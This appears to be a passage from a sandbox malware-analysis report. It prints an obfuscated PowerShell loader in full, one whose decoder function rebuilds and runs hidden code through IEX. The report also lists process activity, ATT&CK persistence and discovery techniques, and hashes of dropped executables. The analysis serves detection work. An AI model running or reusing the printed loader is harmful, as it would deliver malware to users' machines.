Emb'AmbANor9CatCOogFReaETub2EleFSemFPlaESta3TelEGni8UdbERei2FabABou3intCBru9DriESem8AssECatBNonECar4MagEHar3modESpa8DraCFacEVirEPos2KilERee3IndFAntEHumFIso9AllFDriFKasFinf8MakEDasESkiFLej9DobEUnp2SkrFIniFSofATeg5DonASup9TovCgalBCloELtn4SkeFFre9EleEsenEKriEStr5VatEInd8excFIbc9AntBAbeBPorATip1StvAzakDLdrDPro6DriDTaaEHavFpro4IdeFMaiEEksFPla9ArbELac8DipEBla0SprAStr3OddDMidFRedEAnh8ZinESkrBIngEBae1CraESku8DraEGeoEDobFKap9KlaEUdl4SmrEArs2ExcEDur3EnbACof3MisCFolEunsEBarCVauEBis1SpoERdv1StiERes4ChaESul3HooEEquAAmpCCoqEfaiEegr2ScaEUnq3SolFGulBQuiEXan8HavEBea3UnsFDru9LamEOrd4SmoEFol2AzoEGal3EmbFBarEKnaDFin0IntBOni7UdpBSal7OxyDNutESelFKic9IncERaeCAbiEBru3VisEelo9KatEDatCfamFBenFMonEOut9HunAFor1StrAEurDDipAOpm9stuCPynCUncERiv0GatEPreFIntESho4comEBar1SpiELaiCMulEThe8HefFHalBMusEUnb2UnrFPal8SeaFHjeEPleAUdl4RepAVer3forDEksEFlbEDry8FolFFam9ChaCWar4JamESpo0NonFExcDaloEGen1FirESte8ChaEHem0OmsENat8dinEBag3PyrFAnt9PagEJegCSamFBlo9CapEFla4BouEKna2SmrESup3TaaCDreBunsEHvi1GebECleCBasEWadATekFundESikATai5LimAFla9BraCHexBTakEHel4IstFton9froEVenERosERud5ResESwi8SelFSub9BloBkurAUnbATil4Ope'Ung;ParuJemdIntvBryaConlEppgEdusApopFrerBesoMuscEnteNordBuxuAffrStaeNon9Fit Spe`$MetKSniaOrybAjlaAdmrShe3Day;Hol`$TimKMexaFejbAbsaSlurPhy4Pln Ble=Dis WagHBefTKsnBLer Dec'MasAAtt9ChiCWizFTriEGyr2VidFAmaFRusEKom3ArmERys8HalEBro2uneASte3SapCBeh9DirECan8MobETikBSlyEEma4LieESma3RusEGor8AntCCla0ForETon8BhaFTry9SnoEFor5MilECha2SanELee9pluABle5InhATec9HjeFSir8DisEKva9AltFHonBAstENonCRadEKra1ForECheAoasFLaaEgalFLimDRasFAstFBenELon2oveEForEpavEMas8KodEDio9elvFWin8JerFPajFVaaEBla8colBHejFUnlAOld1TugAAngDAngAepi9OpeFWas8HomEHit9LoyFTugBLysEElvCTheEFre1EucERanAEksFRupESynFScuDPerFNonFcocEEve2KopEDidEpaaEBeg8EntESan9SlvFsli8GemFSorFMasEcut8DdsBRidERecAFim1ResAStoDBosAEge9bigCSyd0KrfETriCManEOrc1ForESuc0ranFSik4FreAJig1ThiADreDEmpAAnt9AttCRevCForESma0TesEVerFRepESup4VraESkg1BlnEWasCNonEEur8SmeFAniBArvEPic2IndFSie8ParFVejEunpAopr4AlmASal3SubDQuiEParESal8TroFPhi9UnpCInd4RecESqu0PriFUroDVejEDem1TnkEEbu8SejEBar0TraEAfg8BorEBro3SkeFDam9VerEPoiCbraFNat9RgeEDri4OpsEFra2FerENul3BerCbloBrelEDat1FriEIntCSotEGenAHypFSilEWinABlt5OmfAdis9NonCSenBUopEPar4DseFSuc9ForEKauESueEPas5nomEKed8FolFTyv9VorBMdeAFleARai4Rel'cam;MituVacdAscvNonaDeslNocgNonsTanpCesrVgtoSynceugeglidRecuIntrDaceEks9Phi Mir`$EstKAfbaAfdbStuaMisrFul4Syv;Tri`$HamKStaaSvibAllaEnvrRea5Art Ela=Bat broHTraTJorBBad Bor'IbeFIalFForEFru8TypFGea9StrFNor8MetFKamFPaaEPla3SupAFugDInvASca9HenCHvdFfinERej2RekFAntFYerEKie3OutERek8LivEBla2YdeABry3BreCArnEsteFIntFIrkEInv8ProEFemCTidFBen9BooEUne8CobDafs9FarFAnc4FleFUnbDOpdECon8LadAThe5AthANec4Arb'Afb;NeuuFordarrvDrvagttlLitgTrisOsepmikrTaloRekcGaseMisdreeuScrrLuseEne9Ind Fll`$VagKsumaParbMinaBalrMyz5Bon Udb Und Alb;Eth}Mek`$kimNTiloUrfnAcipToreHeprTrvfKrooDisrdriaUdktValeKnudsvi Voi=Ich SalHEleTTriBKry Epi'RayESyn6RelEafb8NeoFPygFBrnEAfs3MisECou8oveEMon1IndBCitEIntBObjFrep'Dis;mun`$SelBGrorRennTemdDissVeneUdslNedsElefNatoElerHjrbGarrLaguDkbgAfv Sve=Aan ConHKnuTOmrBInd Beh'SpiFCum8BesFPosEOmnEPro8DatFAniFDatBGazECatBGldFPay'Eff;Sva`$BagSdogoTsetStrtfreiUnisScrhMernAraeAmasSpnsOri0Gra3Dil Mag=Ill kmpHAfmTSkrBnod Her'spoCSalAMaiEOkk8ValFSna9SouCImpEUnrEFer2TrvEFre3DwaFCubELibELog2ScrEFib1HepECle8KlaDQuiAOffERep4ModEAph3DisEVol9ForERet2FalFTraAdeu'Qua;Kor`$SpaSOpsochatBlatReciArgsRodhPlanMooeHotsSeksKon0Pro0Non=PerHintTTroBRep Und'looDVriEMosEAld5DecEInd2ApoFUngARecDAflAVejEMed4ModESkj3ExcEAlm9DisEDom2TubFGalATot'Sem;Ski`$OutKtelaAthbKonaClerAll6Sty all=Fol jocHProTForBBio Tap'digAGen9StaEIde7TilEGge2HorFAmeFPitEJur9UnpEOphBSniEMat2PolFCutFSamEGre9SanERys8TraEUnr1ArtEFor4BooEFug3BetEAfrASekEKik8RedFrevFNavEPro3StaETun8LitFKhaEAciASolDYalBRes0AviAFraDStaDInd6ForDResEAchFBli4EveFShrEAutFSta9MutEGla8BacESte0DekAMas3RumDAphFPenFFli8UltEmid3TriFHun9ScyETje4StyEPen0DweEStr8RibACom3SceCHov4GasENon3EmiFGld9SttENor8TilFPanFEjeECot2WerFfryDVigDLgnEVaaEPau8GerFCraFSanFSymBGraEpri4PisEFakEklaEYmc8TanFOveENubANic3CouCSte0RegESieCResFLydFHamFAppEVanEExp5ArvERepCDasEsem1SakDSte0KreBple7TorBvig7UndCposABlgETek8BolFSkp9stiCRep9SplEfer8StaEImo1OptEImp8JunEencAFodEMauCFavFWei9SelEKod8TheCKanBfljEPer2HyaFDetFAntCFdeBEveFUvi8LaeEDed3HarEHunESupFUds9DvrETil4TylEWed2SkyEpyt3TunDTryDTunETri2UnmEPri4TekEArc3BemFFor9GraEBaj8lsnFFroFSkaAAab5NulALis5SkmEKryBBriEByp6CorFpulDbalASulDUnsAUnc9TolCove3HjeENon2UnmEApo3whiFOliDPycEMil8FraFDiaFAffESemBMisEPas2CivFReeFSanEAfvCCytFhau9PosEunh8FinEVel9chiAAspDUnkAFor9OxyFInk8ProEFel9GehFCauBCouETraCDriEThe1SupEmakAOevFSorEBleFPlaDTabFHakFPseELan2MatESubESalERyd8AflEOld9UnsFAmt8indFUnpFBasETau8LukBLyk9MarAFra4BerATil1menAPudDSkaABre5RadCDowABroCFor9SecDLte9indAStoDTirCHusDPlaAUnp5KbsDMan6EleCSno4OscEDub3SubFStr9regDMilDeleFBis9unwFHafFKlaDKli0StaAPop1UdmATidDPosDEri6femDmed8SamCBug4GdiEPup3BygFeks9AfsBEksESamBKieFReiDBac0VenALic1KopAMamDEskDPic6WinDUns8UdvCGur4FraEArt3BetFSje9DivBKulEPhaBKonFRegDRem0VerAAlu1DovAglaDKasDSti6cobDfor8FilCspa4emaESph3RaaFInc9DisBUndETenBKorFAcrDFra0AukABel4FasABrsDStiAAog5NykDune6BlaCcou4ShrESol3SnoFSvi9StnDLegDMarFFin9PorFTilFMetDDia0EleADra4DioAHym4JulAUns4Svi'Cli;soruseldIntvNulaArllSvegReesOvepGlorHaloHercHereBlodLuruNairAcheUnm9Mat Dis`$NonKSubaPosbLinaAntrArc6Kob;Sky`$ResSDiooGihtFretComiStasNedhStanKereUlisFjesFla0Aff1Fre Eks=Fan CinHMumTmorBKne Lat'parADet9BurESka3TatEAcu2EndEPse3MicEKlo9PurETra4SluFCarDLanFJul9BacEEgu8InsFBraFDisECav2VidFUds8HaiFstrEBreAProDSceBSon0FjeALogDCenDfre6HovDAgtERapFGen4SamFTrmEDybFfld9TopEObj8BlaEFni0AriAFro3RanDChaFdirFVol8RakEFor3karFVar9aquEPis4RipESpe0TryEMal8ClaAVar3TelCPar4TndESir3ResFRen9CaqESto8sjaFFreFLodEHyp2ConFOmeDAntDGalEEquEOph8BlaFCelFuntFFilBUarEThr4SkrESpiELitESpr8RejFKb EbjlAand3UnhCFoc0UndETopCInsFNriFDegFTavEAdhECha5VerEaktCVirEUsu1LloDChe0KliBFir7DamBMic7MetCBlaAlinERep8RepFPar9EksCMel9ParESni8ScuEPop1iriEUds8GriEConAOesESovCBeaFBil9AfsEHel8SknCsymBCosESan2unpFFrkFHulCFooBFolFBad8RetESen3FinESvaEAttFTal9LitEFor4DobELan2GldEdau3ButDForDRifEkol2GldEOmg4OveEUnl3flyFUns9BetEOve8PreFPieFTroASol5GasAEbo5TolETemBGraERew6HymFBarDSmeADysDBehATra9BagCBesFBesFSmiFaffESni3FunESpe9AigFFonEArtEAqu8StrEFan1SupFRenEPosETubBAchEKor2AriFTriFNotEFliFmicFOxiFStjFCur8BurESkaAAftAShaDOveAtri9SelDSulEIntEStr2SamFLev9intFNon9BarESpr4SvrFOraEKonEDep5EboEStv3ComEFll8UdkFstiEInsFSciEPisBUtiDHelBJugDNotAPan4UmaALap1ForAProDTmrAPoo5UndCTerAUneCSep9SovDRet9UreARaaDdumCNonDampAops5DelDBal6ProCBen4BooESir3SquFBri9GuiDRinDSydFFor9DecFVetFOffDSye0ParAInt1gouABryDpriDTal6PreDKha8noeCFor4ManErig3FodFfla9pooBUncEKasBPatFdomDHid0BioAVil4OdoAFacDRkeADis5PalDOpl6NatCEft4GaoEHal3WilFOno9StoDTrbDUrsFAnd9PreFEscFDitDStr0DarADuv4LogALss4SwaADih4Tha'Unh;EpiuFaedSpjvVixaPrelbergTresScupOpprNonoAftcUnceDisdIncuBrurErseTor9Ant Ahu`$GrnSChaoBrutDratTapiKnbsHoehRvenFaieudrsFresDel0Mid1Rve;fri`$SelSposocaptBiotInsiKomsBorhNicnSteeKrasKhesUnt0Tac2Rak Sco=Unp LanHResTLinBMif Ind'unrADye9SkyCArp9BalEBas2StrFAlgATraEWaf3StaEOptESagFPseFCutESyl4ReeEShu8IonELun9UfoAFreDIniBStb0BatAMetDKlaDUnr6UndDHklEWhoFjer4IntFSluEEksFUnc9GenEJod8VenEGra0SanAQua3DisDCloFSluFShi8VugESto3AurFfor9EndEWhi4AffEHep0EksEByg8HonAPag3AarCTra4DdeELyd3UnbFDec9InhEban8UdtFFreFHavECop2sinFMorDHydDUnsEDecEPro8RemFMinFTelFKonBUndEClo4OrcEPetEEmoEFre8AjsFsonEMinAVid3EugCOdo0IneEProCFlaFHakFRejFCykEKolENom5VilEDueCRapEInd1EliDAmt0TriBLoo7MorBCon7EoaCSirAGynEUns8talFBlu9DatCfeb9DivENon8VenETyv1MaxEInt8JunEAfsASemEsolCHepFSup9DeaEmec8ThaCSadBFavEUde2EntFOrkFForCVasBRecFKaf8FruEwas3oldENeuENudFbar9NumEHom4BirETyp2MarEFre3PerDTelDopgEGla2SopEMot4GenEAud3DunFScr9TunEPhi8CirFAftFFylABug5UndAOff5MonESupBKomEBar6PatFSknDUnbArenDNetAOve9ForCTam3OptEBef2PyoENat3RetFRepDPrdEPre8SubFRegFOmsEPerBUdpETem2ModFSkoFKisERheCUnbFMav9RegEMll8UndEScr9strACorDOpfAPos9hurDArcEDevEsma2MayFkal9NeuFCha9SacEGld4EftFSkiEBorEort5MyeEgen3TosEHyp8InvFUnmEIntFWhiEsamBbogDHanBUnaEDisARap4NugALuf1KagAMinDJuvAEle5SunCCavAStoCHin9GynDPav9CepADevDSerCChiDKulAPhi5NuoDInk6KanCFor4chaEUku3VanFKul9ForDThaDRadFSel9anaFProFComDHje0SadADur4CloAHypDUmuAgru5BalDBio6IllCPop4BawESpr3PheFMod9GarDSurDCarFDie9ForFKalFLepDMon0ChrAHum4IncADio4RatAsla4Dkk'Mel;RieuKindPyovRekaputlEnggPrasredpNemrSpioUnccHoueSitdAlluKorrLekeMar9Dis tar`$sluSHisoPhitFertAfsilausKlnhOvenArgeTwasChosQua0Ser2Def;gla`$DonKLngaFodbBasamydrPre7Ild Per=Nul squHUndTOutBJur Byp'boyAHac9ForDEst8KopEFla3ProEchaEReeFUnd8stuEtro1MerFGen9EtuEKol4NonFplaBAssEHerCPseESpgFNatEEgi1GraEBun8SanASelDRedBGlo0ForAForDTryAAvi9TerCStr9UpsEPro2MyrFIndANyaESat3SpaEPolEBasFlasFTimECon4uncEUdv8SpiEOpk9intAche3OutCFle4AmbESop3TrsFDixBNabEFil2KliEobj6UdrEMud8SunAGra5RveBBetDMisADep4Dis'Ani;DemuStadUpavGeoaSuplpangHypsCaspBegrplaoVulcParePardDivuMoyrlovehom9Sof Udl`$ThrKTilaRubbNonaUdarDeb7Sho;Kla`$OveKTalaColbIndaSolrPop7Ber Ped=Bly BouHOpiTMahBRem Ust'InoASuf9CreEFor3GiaEIbr2LovEDup3sanEUnd9AneEpek4SmaFHubDLitFPyr9UniESyn8VekFAhmFMisESyn2KasFPer8LniFMesENamASal3KnuCTer4PeeEdet3ExcFIndBUdvEOve2SnvEVin6GleEPar8LaaATrs5BroABes9cenDSem8DanELan3KonEBulEProFLiv8MarESch1ArkFLsr9DybELve4FreFDarBArtESumCPunETaaFDolETra1MilEPae8RefALoy1ZamAMaiDBunBSalDCapATor4Aab'Gas;AppuBehdafkvColaNavlGgegBursNitpAdorGoxoUnscVareTotdMavuDavrPoleTre9Nor Ann`$AllKHasaUglbBamasynrAbs7Mil;Eje`$souSFaloMistSkitNoniMassDebhSewnReteMarsendsBry0Srn4Til Com=Sar NonfBrakafspIno Spr`$DinuFindHarvIceaParlBorgShisDekpFasrRetoAabcdaaeSygdWeruSvorGymeSyd5Sub Sup`$ForuAnddAflvRinaMynlChegRinsDispForrForoRencStieKendsoluForrFeseTek6Ove;Let`$BewKDigaBorbSejaWidrren7Art San=Spr ProHFlyTeltBBor Enh'OveARug9TieCUnlESejEFejCRebFTabEKonFimp8PecETar4AfpFKloEGasFext9broEBad4EmbEWieEAnaEVenCPreEUna1SkrEEge1MonFTun4KarBYfeESkoASecDBorBInt0OutADriDLegAFot9KluEVat7AniEStj2RejFLakFLevEMis9ThrEUdrBSedEClo2SysFManFVenEBek9ButEFor8SupEbib1GanEHus4TraEPro3MadEArrAMytEBac8duaFFasFCroESpa3KriEbyg8indFGusEnodArig3AntCEmi4UncESlg3avnFSubBManEDeh2ThiEDil6griEAto8undAOve5porDSan6MegCQua4AceETil3RewFDys9TabDDikDOrgFMic9IsbFBorFEmbDPar0BliBFan7BukBFot7LjeDCur7KarEUnc8BegFSluFConETru2VesADec1GydALovDIscBoffEbloBGauCecdBRaaBskrAPam1TriAAboDKabBKeyDPapFTeo5KarBRecEEteBTidDMilBtalDElmBAldDBreASkr1FliAMutDSneBIndDKonFJej5SluBTre9SubBCarDRegASub4Ind'Pyr;BabuProdHouvPilaprolGragOmvsDrepProrCheoNuccShaeDigdFunuTegrWaneRub9Unr Sta`$BasKOleadaibRosapolrGor7Sem;Cho`$BriKMenaIchbSumaAkkrCon8Sam Kan=Ter SacHDeeTUnaBSte Udd'RegAtog9BliDSys8RimEEli3CheFPhaETroEKilCFreECha4ArmESku3DyaFSku9SchEKnu1ornECyl4RepEArb3ColEGla8SpoFBumEForFEgiEAvlADokDtroBSoa0PraAKryDAntAFor9SabESam7SemEphe2BorFAmaFKnbEHer9LitENonBCorEska2AanFHetFUbrESrk9HedEBag8StaEEcu1RbeEEks4SulEHem3InvEHorADuvEHvi8ConFUdlFGenEKir3GenERea8infFtomEOrdAFet3BelCLol4DisEGen3rokFHedBforECop2StiEVan6MusEOry8SkuAven5GalDHyt6BunCanf4NonEPro3NonFPan9SomDPlaDMerFNel9PseFHulFSanDCat0PsiBVer7UgeBPas7AntDUdm7AkvEAmi8BerFVinFOutEBaa2PawAAnt1KreAOveDEmeBSynDSalFPar5AgaBRakCBedBTorDTurBFagDAscBMasDTarBResDArpBGiaDImmASam1BarAHavDDebBSpiDBrdFKar5OnfBcarEDocBBekDGroBConDProBperDHviAMil1SupAUndDtreBSkoDEjeFLas5OveBLap9HirAWho4Fau'Kon;NonuAfkdBodvTuraJaslSangPapsSpapDrirUdfoLovcAgneCapdAeruZenrHomeKad9Mes Far`$SkaKPigaBusbaraaOrorStr8Kva;Imp`$ParCToraSyvsUmouRotiErssIchtTariUngcUdvaVaalHeslRatyTau2Bip=pos`"""Her`$BygeSumnTilvUnf:SkaLSreOPulChmoABioLFlaAPulPOblPHypDSumAAflTAdvACal\PenEUnvcSkupTrihLysoValrKariSurzSveeSte\VolGBeloZoenUnsoOpgcKiloForeCarlHiseCel\IrrSCineGedmAbsiMorsHofkSpoiUfolFoolSmreGyrdUlt.FlySVivlChevDdn`"""Car;Kus`$UdsKOpiaForbsubaAbirArb9Ope Udv=Rgh KarHSamTRalBEsm Ali'GroATai9DomCUdy6UdkEBelCProEInsFAnpEBorCRatFUnaFAlfASenDKreBrgd0SprAKabDGemDGyp6FedDDeeEAftFSak4MorFuniENonFHal9SidEDig8EthERig0fikAEur3ManCTho4thwCkg 2KliASke3SkaCKalBPerEUds4BarETza1breEFrd8VanDAfl0GraBRec7ScrBTra7aceDPioFReaEHet8PneEAnkCFilEApp9vulCBrnCKrsENau1CleEHal1AnaCBilFUdhFInd4SkoFFej9GulEDeb8ProFFarEMenAVag5SprAGeo9TacCDobELarEForCRetFForEAfbFPro8EryERec4BehFKvaEKloFKry9oxyEEur4LufEUtiErebEAfsCGyrEMid1indEMus1MinFGra4DecBIroFYauAPar4Inw'Ost;SluudetdLadvAldaViklFingNerstalpRamrForoUdbcVrdeGridEcsuPlarrisebef9Wea Mir`$JugKMaraMulbDryaHaerDob9Tro;Fru`$DemPFearMopoDebsAbrcforrseqiMonbHjeeDjv0Sla Lun=Arm disHScrTTagBShe Sag'YngDFin6SerDVanELssFKat4UnmFMetEBurFTer9KufEBag8RegEEle0NewAMov3ShoDantFEmpFBri8DicEFan3PreFfli9SilENon4MalEHar0JerERgs8StoAbry3CalCAll4RigECou3KluFWel9VrtERan8FodFUnwFBedEAal2ProFRotDJugDOveEKonETil8BedFTomFMbeFPolBKhoETrn4KvrEDefESneEgen8neaFTarEXanAAff3ForCAds0TelEBisCDimFRinFStiFAigEUndEsov5StiEUdtCUinEPer1NipDRek0ApoBclu7EarBUln7MecCHexErigEEds2UefFForDCouFCor4BelAPan5KalAFor9ErnCBra6UnhEsteCTilERadFFilEDarCPosFStyFDobAEpi1AnlADemDChyBSenCSkrBbesDHarBStrFFliBFro9MinACor1SviAVarDBarADatDUdfAKlp9IndCMarEGoaETikCCoaFIndEValFOut8TibESti4MinFEneEFugFHan9FadEfle4indEFroEserEAveCDicESol1ResEbes1SerFMtt4IsoBSprEuneAGld1ReiANetDSemBEncEForBEllCConBRevBfejApeb4Kon'Sup;GuzuLitdIntvGrnaSpglHumgRaksLicpHjarRouotjrcVoleCacdVokuSverFatePol9gaf Dra`$GraPForrHypoForsOpdcToprValiHypbInceBun0Opt;Inq`$ForMKatoembuBonrHusiMastImmsost=Kmp`$EpiKUdfaBukbIndaOdarSpr.CulccocoSikuUnmnUrotTub-Sum3Arc1Nat6Nrk-Kon1Kys0Sai2Inp4Brn;Est`$RegPsnerTinoFfesTepcHaarBetiRunbNoneOps1Wec Tro=Ink KodHseiTLimBTil Klo'RasDRug6TheDScoETraFSim4ScaFbaiELovFSko9AceEBar8BroEFor0IdeAOve3MosDConFTroFObj8MagEHip3BorFGen9PlaEOct4BlaEDoo0HavESub8DesAEmn3PalCDaa4AutESug3PixFfjo9StiEBlo8PriFtraFCroEInd2StaFpauDcafDDraEKryEHeg8TasFPorFSucFStaBUnsELev4TatEDybELemEInt8UplFskaEAraATwe3RivCRes0HemEVolCEksFTemFEncFBleEtesEBig5ForERenCJelEPre1EksDFor0UskBBeg7GenBCon7BugCSalEOptEPar2HusFPugDAntFMon4PluAWer5GymAUdp9ProCmis6TanESknCSekERadFRefEExtCRabFUnsFVedAhel1LusASpaDCirBBugERhiBCanCKinBtovBAvlAjar6InaBStoCFedBEskDInhBBesFDomBReg9SupAGaa1TalADavDMisAege9MynDMol8SkiERhi3VinFsekEBonEtivCOrtECol4BanETri3RubFHem9TilEKvi1LunEBog4MekEStj3UnaEOla8HinFSigEUsdFantEEugAAns1byrACenDPilATan9NurCSpo0KonEAgi2HypFEls8CheFSinFJetEPeg4GttFMus9PaaFRotESupASty4Bed'Fje;ldrutimdNonvKleabehlMasgskasBrupMinrSimomaycKateGendChiurearHaneBia9Ach Gte`$GasPTeorGunoGafsCencKolrUneitubbUtreali1Sea;Exp`$LsePRetrToooAstsAftcskyrForiMaabLejeFem2Pec spr=ske IntHskuTTraBAnt opl'LubAPet9MenCKarFNorEBed8TimEtubCTafFamnFcykECheFOvrEBes8snyEOpb7FluEPun9NoeECyl8SmaEFor1ChiEGan4GalESunAKosFSilEHypFSan9KooEIst8IteFTilESupASikDungBAdl0SkoAPleDKasDdem6SynDDaqEOpvFSen4MaiFCynEEleFCon9SalEFol8lapEWar0LseAYng3CycDCeyFAhtFJou8NouEPre3SenFtrk9SpiEsex4RepEEva0DroELad8ConADom3dieCJil4RecESta3topFSag9VatECen8HerFZoaFForEFig2MegFBloDCoiDMinELiaEDru8PseFJabFByaFJapBAdrEAnt4PadEDekELanEpam8CatFMisEAfsASte3TryCZom0KonEBitCUdkFOveFHatFFluEVarELud5MilEFetCTalEReg1PerDMan0DraBUnw7HorBUnl7RasCBevAOveEGui8MulFHyd9CabCDel9TraESem8FlyEEks1TorETap8IdkEQuaACerEMcgCConFMae9SymEGor8EntCIsbBNamEOrd2TowFDisFtegCNucBRepFFis8MaiETim3HisEBogESvrFBur9unlETra4PieEMil2LsgEDow3bloDDknDGodEEsp2SubERai4TalEKro3KonFSel9FalERyg8SidFAutFModAMis5FinAHan9HulCDraETerEMedCBygFAabEStoFUdf8IntEsuk4VraFResEVarFOff9IndEUnd4FarERedEOveEShuCUngEPhi1matEGib1StaFglo4graBhygEPreADrs1SkiAvurDApnANud5VocCAfbAObiCEmb9ProDSrv9SprAKisDSupConiDUncAYuk5KapDSka6DanCDra4SkoEFad3PluFMol9SheDUndDEugFKom9SubFUdlFTeaDSym0KriARid1melDAgl6OnoCCro4MdeETel3HjlFBid9EviDintDForFEnt9UnmFSnoFEksDHer0SviABro4LutATurDNglATeg5ForDRed6alpDDepBSocEGam2AngESan4CleECan9PhoDOst0KakAFor4HypAElo4SadAepi4Fem'Unb;DuvuSjadop vMinaSujlKeegPersEmbpGimrWitoGeocFuleCladUunuUdsrSkieSuf9Ide hel`$DecPGerrAstoFlusBogcArgrDekiTigbmereBet2Alu;Dep`$FisPTairKaroErgsAldcFarrDoniChibSvaeEnt3Fol sub=Jaw GreHKurTTriBBly Ava'NedABuc9TraCFrtFForETra8JulEImpCKedFStrFAngEOveFUnsEspi8UroESup7BidEUne9endECho8ProEBen1RmeETom4FloEDetATidFFirESkiFCor9PolEMia8TaxFAleEStaAGen3BilCNeg4HemEUrb3PsyFDitBUdfEAbd2SprEDis6uglEUns8SenASun5ColAOps9TraDSla8CodERet3CluFTypEOveESouCMonEDyr4TanEEve3RevFUnc9InfETil1OpsEMat4KarEkia3GenESpr8CacFAfsEPelFUndETonASkr1BalAFet9FisDGadESesECre2HalFZep9SttFSep9SilEAwa4RegFBosERedEsvr5NglEPal3EksEDra8MooFLunECapFSkrEStiBBarDStrBMid9UltAAss4Gua'Ins;SquuFlodRepvtoraFerlEftgPnesPujpAgirWinoDatcKeheOvedJavuPetrUaneAmu9Unr Kul`$ParPTrarIndoZogsVidcCitrAntiFedbPlueDrv3Dal#Kan;""";;Function Proscribe9 { param([String]$Humanmummy152); For($Stuphe=3; $Stuphe -lt $Humanmummy152.Length-1; $Stuphe+=(3+1)){ $Sottishness = $Sottishness + $Humanmummy152.Substring($Stuphe, 1); } $Sottishness;}$Deaktiveringens270 = Proscribe9 'AcuIPhlEtraXGan ';$Deaktiveringens271= Proscribe9 $Palisading;& ($Deaktiveringens270) $Deaktiveringens271;<#Edderkoppeurten Nedrakket Stemona Videobaandets Birkesfrenes #>;"
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 2112
7⤵
- Program crash
PID:3888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4612 -ip 4612
1⤵
PID:4328

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Ecphorize\Gonocoele\Ansamlende\Diaphysis\Esmakkere\Soothsaying.For
Filesize
29KB

MD5
364bfcdf5c3cf6d161bbf12e161e53fe

SHA1
f36efa0da96602bd406aa38a802504b8bb10f417

SHA256
7ae09d8ccfd24cbaccb7b1e17c8a003a204773afc930dd94c6051efd2689dc4f

SHA512
e6f12f3b75de212fa6ffaa5f5fc663308df84b1921a259c00bac72a9beeb8b8569d521d6f9a9ee343775b0919adbcff008590cb860b9a40b19f358fca31de346

Download Submit
C:\Users\Admin\AppData\Local\Ecphorize\Gonocoele\Semiskilled.Slv
Filesize
167KB

MD5
365f577bf2e0229c9ccd6a5eed841eb9

SHA1
54ddcbe7007926ce67214299713898167764289b

SHA256
0f845d4118009db56685de2871b2435631d914fc8a723f32ecf96071c3e81170

SHA512
cd91a72087dc69f533902b494304ee52ad770c14301a81085f16d2872b813d6a67c024772c072c3c03c7da7e56b71bc9074474e067f7a4ecda621097b7fb4243

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Filesize
53KB

MD5
fc208db13b1239bfa1f4ee94d3505352

SHA1
c998505025d8ac13f7052a4decd767fdc89020e3

SHA256
bfb025eec226b78ba8230ab9a034404627919ee26cd9cd3954526b5954b11206

SHA512
60a8dd3bc269a47ede1459016ca8d641ac6078d8b160c3f12929f56c1f384f89c08a61642acedf59d2bbf4702232eabac6392f12ab9d037a911adce0e73bea67

Download Submit
C:\Users\Admin\AppData\Local\Temp\aoqkmvvi.e
Filesize
1.4MB

MD5
fa45666760414589656a9b1b065e33da

SHA1
976b2a7771377ba5bcf4a6cce24c5774cbb26a06

SHA256
7f5efad8828d3ddfb613e7ac2b35ca86f1ba91ab4a2bae6022b69cc6ae5d33fe

SHA512
3e8c6f067e17aff318bced11cc0d5e12e57ae97fe7a7711b35e9e7cf44be858f4a155ab4b6abbe7ccdcf914f0ff4c3a5298d8e61adce0c74aa3908957b635407

Download Submit
C:\Users\Admin\AppData\Local\Temp\jettyhead.exe
Filesize
508KB

MD5
f87672ca39c11764995388966e69d8fb

SHA1
773f9ac04d5a978871cf3cfa40b0bcef0c5bec5e

SHA256
54976a776a08ddd4ab7cf1fb6b00c4a23f931f1a7d1d937922169ef3be7c9cae

SHA512
91b40a1ed353d8612ff7b00db29af09f00ec33a400ebd298524bebf7e18cb42b35c7c7a0c27555f7c22d07b27ec8f7cec93f4fe1762b6afec1a1973efa3efafd

Download Submit
C:\Users\Admin\AppData\Local\Temp\jettyhead.exe
Filesize
508KB

MD5
f87672ca39c11764995388966e69d8fb

SHA1
773f9ac04d5a978871cf3cfa40b0bcef0c5bec5e

SHA256
54976a776a08ddd4ab7cf1fb6b00c4a23f931f1a7d1d937922169ef3be7c9cae

SHA512
91b40a1ed353d8612ff7b00db29af09f00ec33a400ebd298524bebf7e18cb42b35c7c7a0c27555f7c22d07b27ec8f7cec93f4fe1762b6afec1a1973efa3efafd

Download Submit
C:\Users\Admin\AppData\Local\Temp\pffbaqn.exe
Filesize
98KB

MD5
34874f0ef7002cef887310fac6bd1984

SHA1
c65f876c2d7304e70dd2eb610f39d2d981718fbd

SHA256
2ce72d217455e1a6eabdb456961178534f0f6432b25a701872b19a30e4a002f9

SHA512
effe20380c48e8adb2fe88c27777020ac5780e4d6385f6b5647b5615e0c769aee6348c5ea40ccdc2f94414dbd9a211e9500f56c52348cebe63e7b8dfceb5b868

Download Submit
C:\Users\Admin\AppData\Local\Temp\pffbaqn.exe
Filesize
98KB

MD5
34874f0ef7002cef887310fac6bd1984

SHA1
c65f876c2d7304e70dd2eb610f39d2d981718fbd

SHA256
2ce72d217455e1a6eabdb456961178534f0f6432b25a701872b19a30e4a002f9

SHA512
effe20380c48e8adb2fe88c27777020ac5780e4d6385f6b5647b5615e0c769aee6348c5ea40ccdc2f94414dbd9a211e9500f56c52348cebe63e7b8dfceb5b868

Download Submit
C:\Users\Admin\AppData\Local\Temp\pffbaqn.exe
Filesize
98KB

MD5
34874f0ef7002cef887310fac6bd1984

SHA1
c65f876c2d7304e70dd2eb610f39d2d981718fbd

SHA256
2ce72d217455e1a6eabdb456961178534f0f6432b25a701872b19a30e4a002f9

SHA512
effe20380c48e8adb2fe88c27777020ac5780e4d6385f6b5647b5615e0c769aee6348c5ea40ccdc2f94414dbd9a211e9500f56c52348cebe63e7b8dfceb5b868

Download Submit
C:\Users\Admin\AppData\Local\Temp\ypddnkzjcwt.k
Filesize
7KB

MD5
569849c1b5ba28add986b085baa24778

SHA1
a47d644beeb2540f9c6cdf390b61ad8b7a48a3bf

